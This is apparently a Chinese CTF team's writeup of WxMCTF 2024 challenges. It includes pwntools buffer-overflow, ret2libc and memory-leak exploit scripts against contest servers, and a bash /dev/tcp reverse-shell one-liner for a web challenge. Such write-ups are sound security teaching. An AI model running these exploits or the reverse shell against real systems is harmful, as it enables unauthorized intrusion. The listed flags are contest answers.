WxMCTF 2024

UKFC 2024 WxMCTF Writeup

签到

The flag is CTF{s4n1ty_ch3ck}

Misc

Welcome to WxMCTF!

查看 ppt,得到 flag

wxmctf{g0od_l^c3_3ve*y0n!}

Arrgh

直接解压 apk,发现 flag.png

wxmctf{4ndr01d_4n4lys1s}

firstgrep

解压文件,利用 everything 把所有 txt 文件放在同一个目录下

python 遍历目录,输出所有文件内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import os
 
folder_path = "./firstgrep"
 
## 遍历文件夹下所有文件
for root, dirs, files in os.walk(folder_path):
    for file_name in files:
        if(file_name == 'cal.py'):
            continue
        file_path = os.path.join(root, file_name)
        with open(file_path, 'r') as file:
            content = file.read()
            print(file_name,"\t",content)

查看输出得到 flag:

DLCTU6.txt wxmctf{Wha7_W0uLD_w3_6e_w17HouT_Gr3P}

另:使用 TextSeek 软件直接找到正确 flag

Forensics

諸葛亮

二进制 ascii 转字符得到 flag

1
2
3
4
5
6
7
with open('./answer.txt', 'r') as f:
    bread = f.read()
    for i in bread.split(" "):
        tr=int(i, 2)
        print(chr(tr),end=" ")

#wxmctf{Eightfold Battle Formation}

REV

Binary Conspicuous Digits

就是二进制转成 ascii

wxmctf{B1nary_R3v3rs1ng_4t_1ts_F1n3st}

WxMCTF ‘24 Rev 2 - Songsilk

使用 godotpcktool 工具解压 pck 文件得到 flag.png.ctex 文件,将该文件放入 gobot 引擎内,自动解压还原得到 flag.png 图片

Notepad++ Development

给了一个 010dump 出来的文本,elf,写脚本恢复文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
## 读取包含文件数据的十六进制文件
with open('C:\\Users\\lenovo\\Desktop\\_ctf_poem\\wmctf\\2024\\checker.txt', 'r') as file:
    hex_data = file.read()
i=0
## 提取中间的数据部分
start_index = hex_data.find('  ')+2
end_index = hex_data.find('|')
print(start_index)
print(end_index)

while(1):
    data = hex_data[start_index:end_index]

    ## 去除空格和换行符
    data = data.replace(' ', '').replace('\n', '')

    ## 保留有效的十六进制字符
    valid_chars = set('0123456789abcdef')
    data = ''.join(c for c in data if c in valid_chars)

    ## 将十六进制数据转换为二进制数据
    binary_data = bytes.fromhex(data)

    ## 将二进制数据写入新文件
    with open('C:\\Users\\lenovo\\Desktop\\_ctf_poem\\wmctf\\2024\\123.txt', 'ab+') as file:
        file.write(binary_data)
    stt="000038c0  9b 30 00 00 00 00 00 00  0a 01 00 00 00 00 00 00  |.0..............|"
    start_index+=len(stt)+1
    end_index+=len(stt)+1
    i+=1
    if i>=0x38e8:
        break

print("数据恢复完成。")

ida 打开,简单取反

wxmctf{G0d_D4mm1t_T1mmy}

Recursive Combinatorics

逆向关键逻辑,化简一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from hashlib import sha512

def acid(s):
    return sha512(s.encode('utf-8')).hexdigest()

def rock(a, n):
    return a**n
def paper(n):
    x = n**n
    return {i: [0, 2**i, 2*(2**i), 3*(2**i)] for i in range(x)}

def scissors(n, a, x):#进制转换
    if n == 0:
       return [0]*x
    ls = [int(n%a)] + [int(n%a) for _ in range(n) if (n := n // a)]
    ls += [0]*(x-len(ls))
    return ls

def go(n):
    final, lib, x = 0, paper(n), n**n
    for i in range(2**(x+1)):
       ls = scissors(i, 4, x)

       tot = sum( [lib[j][ls[j]] for j in range(x)] )

       final += int(tot == n)
    return final

HASH = "87bd6b7109f0e4fddc549076c983ef165191a655d0e53848e18ea55574b8344456478b6e7b19fa26ecc3ddf017b29d1b63da94c7002a508429e156b9ccfed611"

number = int(input("Enter your number: "))
#aaaa=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574027791115057150
#print(acid(str(aaaa)))
print(go(number))
if (acid(str(number)) != HASH):
    print("Incorrect number! SHA hashes do not match")
else:
    print("Congratulations! That is the correct number!")

go 函数返回 n 在循环中出现的次数(tot),scissors 返回一个将 n 用四进制按位存储的列表,tot 为该列表每一位乘以 2^n(加权)的和。由于四进制表示,2^n 的系数仅能取到 3。

打印了一下 tot 的列表:

0,1,2,3,2,3,4,5,4,5,6,7,6,7,8,9,4,5,6,7,6,7,8,9,8,9,10,11,10,11,12,13,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,32,33,34,35,34,35,36,37,36,37,38,39,38,39,40,41,36,37,38,39,38,39,40,41,40,41,42,43,42,43,44,45,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,24,25,26,27

可以看到存在重复,那么问题就抽象成对于 10^12,能够按上述四进制加权表示的数有多少个。

上述的四进制加权表示,由于权重与二进制表示相同,每位数的上限不超过 3,故可以看成两个二进制数相加和

所以问题转化成:对于 10^12,有几种方法将其拆分成两个非负整数相加?

简单求得为 5*10^11+1

百度一下 157 位梅森素数,异或 hash 一下得到 url 后八位

wxmctf{st4ck_0v3rf10w_m0m3nt_gl_1n_r3v_5}

PWN

Moodle

GDB 解决

wxmctf{m00dl3_m45t3rm1nd!!!}

TEJ3M

直接返回到后门函数即可,打个 ret2txt xx 的 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from tokenize import blank_re
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

ifremote=1
if ifremote==1:
    io=remote('fac9795.678470.xyz ',30170)
else:
    io=process('/home/kali/Downloads/assgn1_2o3BvZ6')
elf = ELF('/home/kali/Downloads/assgn1_2o3BvZ6')

backdoor_addr=0x8049216

payload=b'a'*0x28+p32(backdoor_addr)
io.recvuntil(b'info: \n')
io.sendline(payload)

io.interactive()

nah id win

有一个检测,第一个返回栈帧不让放开头 0x8f(也就是 f7 那些 libc 地址),其次开头泄露给了 printf,那就直接第一个栈帧布置个 ret 之类的延后 rop,后面正常返回到 systembinsh 即可 xx 的 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from tokenize import blank_re
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

ifremote=1
if ifremote==1:
    io=remote('5d11994.678470.xyz',31124)
else:
    io=process('/home/kali/Downloads/vuln')
elf = ELF('/home/kali/Downloads/vuln')
libc=ELF('/home/kali/Downloads/libc.so.6')

#gdb.attach(io)
io.recvuntil(b'0x')
printf_addr=int(io.recvuntil(b'\n'),16)
print('printf_addr==========>',hex(printf_addr))

base_addr=printf_addr-libc.symbols['printf']
system_addr=base_addr+libc.symbols['system']
gets_addr=base_addr+libc.symbols['gets']
binsh_offset=0x01BD0D5
binsh_addr=base_addr+binsh_offset
print('system_addr=========>',hex(system_addr))
print('binsh_addr=========>',hex(binsh_addr))

payload=b'a'*(0x28+4)+p32(0x08049127)+p32(system_addr)+p32(0)+p32(binsh_addr)

pause()
#io.recvuntil(b'\n')
io.sendline(payload)

io.interactive()

leakleakleak

允许堆块上面的多次泄露,甚至可以泄露某个地址上的值,这样就很容易了,那么就形成一个泄露的链子,也就是先泄露堆块地址,再泄露堆上的 libc 地址,再泄露 libc 里面的 environ 也就是 stack,再用 stack 泄露返回地址 pie,最后再用 pie 泄露 flag 即可。芜湖!吃饭去咯!ymz 的 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')

io = process('./pwn')
io = remote('5.161.99.196',32450)
elf = ELF('./pwn')

def dbg():
    gdb.attach(io)
    pause()

def continueio():
    io.recvuntil(b'Continue? (Y/n)')
    io.sendline(b'Y')

io.sendafter(b'name?',cyclic(0x21))
io.recvuntil(b'aaai')
heap_leak_addr = u64((io.recv(5).rjust(6,b'\x00')).ljust(8,b'\x00'))
print(hex(heap_leak_addr))
continueio()

heap_needleak_addr = heap_leak_addr + (0x718 - 0x600)
print(hex(heap_needleak_addr))
payload1 = b'a' * 0x20 + p64(heap_needleak_addr)
io.sendafter(b'name?',payload1)

io.recvuntil(b'a'*0x20)
libc_leak = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(libc_leak))

pause()

io.recvuntil(b':3\n')
libc_leaked = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(libc_leaked))
environ_addr = libc_leaked - (0x7fbea1be3380 - 0x7fbea1bea200)
print(hex(environ_addr))

payload2 = b'a' * 0x20 + p64(environ_addr)
io.sendafter(b'name?',payload2)

io.recvuntil(b':3\n')
stack_leaked = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_leaked))
continueio()

main_leaked = stack_leaked + (0x7ffd2135d480 - 0x7ffd2135d5f8)
print(hex(main_leaked)) 

payload3 = b'a' * 0x20 + p64(main_leaked)
io.sendafter(b'name?',payload3)
io.recvuntil(b':3\n')
pie_off = u64(io.recv(6).ljust(8,b'\x00')) - 0x137E
print(hex(pie_off))

flag_addr = (0x55c91dcf20c0 - 0x55c91dcee000) + pie_off
print(hex(flag_addr))

payload4 = b'a' * 0x20 + p64(flag_addr)
io.sendafter(b'name?',payload4)

io.interactive()

Crypto

Detective Pikachu!

  • 首先 whitespace 隐写

https://vii5ard.github.io/whitespace/

  • 然后 pikalang

https://github.com/groteworld/pikalang

1
2
3
4
5
6
7
8
9
import pikalang

sourcecode = """
    pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka pikachu pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu ka ka pikachu pi pi pi pi pikachu pi pi pi pi pi pikachu ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pi pikachu pi pi pi pi pikachu pichu pichu pichu pikachupi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka pikachu pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu ka ka pikachu pi pi pi pi pikachu pi pi pi pi pi pikachu ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pi pi pikachu pi pi pi pi pikachu pichu pichu pichu pikachu
    """

## or use sourcecode = pikalang.load_source("FILENAME.pokeball") to load from file

pikalang.evaluate(sourcecode)

wxmctf{pika_chewy}

Web

Mr. P

查看源代码

1
2
3
<!DOCTYPE html><head>    <link rel="stylesheet" href="styles.css"></head><body>    Welcome to my John Cena fan page!!
    <img src="john1.webp" style="max-height: 400px;">    <div id="secret">        wxmctf{4nd_h1s_n4me_1s!!!!!!!}
    </div></body>

Compiler

os.system(‘bash -c “bash -i >& /dev/tcp/0.0.0.0/0 0>&1”’) 反弹 shell

cat Dockerfile 得到 flag

wxmctf{ok4Y_M4y8e_I_5K1mpED_@_bit}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计